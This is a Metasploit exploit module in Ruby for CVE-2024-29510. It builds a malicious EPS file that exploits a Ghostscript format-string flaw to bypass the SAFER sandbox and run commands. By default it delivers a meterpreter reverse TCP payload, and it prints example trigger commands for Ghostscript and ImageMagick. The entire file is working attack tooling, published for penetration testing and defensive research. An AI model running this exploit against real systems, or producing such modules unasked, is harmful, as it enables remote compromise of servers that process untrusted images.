## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super( update_info( info, 'Name' => 'Ghostscript Command Execution via Format String', 'Description' => %q{ This module exploits a format string vulnerability in Ghostscript versions before 10.03.1 to achieve a SAFER sandbox bypass and execute arbitrary commands. This vulnerability is reachable via libraries such as ImageMagick. This exploit only works against Ghostscript versions 10.03.0 and 10.01.2. Some offsets adjustement will probably be needed to make it work with other versions. }, 'Author' => [ 'Thomas Rinsma', # Vuln discovery and PoC 'Christophe De La fuente' # Metasploit module ], 'References' => [ ['CVE', '2024-29510'], ['URL', 'https://bugs.ghostscript.com/show_bug.cgi?id=707662'], ['URL', 'https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/'] ], 'DisclosureDate' => '2024-03-14', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux', 'win'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Linux Command', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix', 'linux' ], 'DefaultOptions' => { # Payload is not set automatically when selecting this target. # Select a x64 fetch payload by default. 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options([ OptString.new('FILENAME', [true, 'Output Encapsulated PostScript (EPS) file', 'msf.eps']), OptInt.new('INDEX_OUT_PTR', [true, 'Index of `gp_file *out` on the stack (see the full documentation for details `info -d`)', 5]) ]) end def exploit xploit = template.sub('MSF_PAYLOAD', payload.encoded) xploit = xploit.sub('MSF_IDXOUTPTR', datastore['INDEX_OUT_PTR'].to_s) file_create(xploit) print_good('You will need to start a handler for the selected payload first.') print_good("Example usage with Ghostscript: gs -q -dSAFER -dBATCH -dNODISPLAY #{datastore['FILENAME']}") print_good("Example usage with ImageMagick: identify #{datastore['FILENAME']}") end def template xploit = File.read(File.join( Msf::Config.data_directory, 'exploits', 'CVE-2024-29510', 'ghostscript_format_string.eps' )) # Remove comments xploit.gsub!(/\s*% .+$/, '') # Remove empty lines and lines with a single % xploit.gsub(/^%?$\n/, '') end end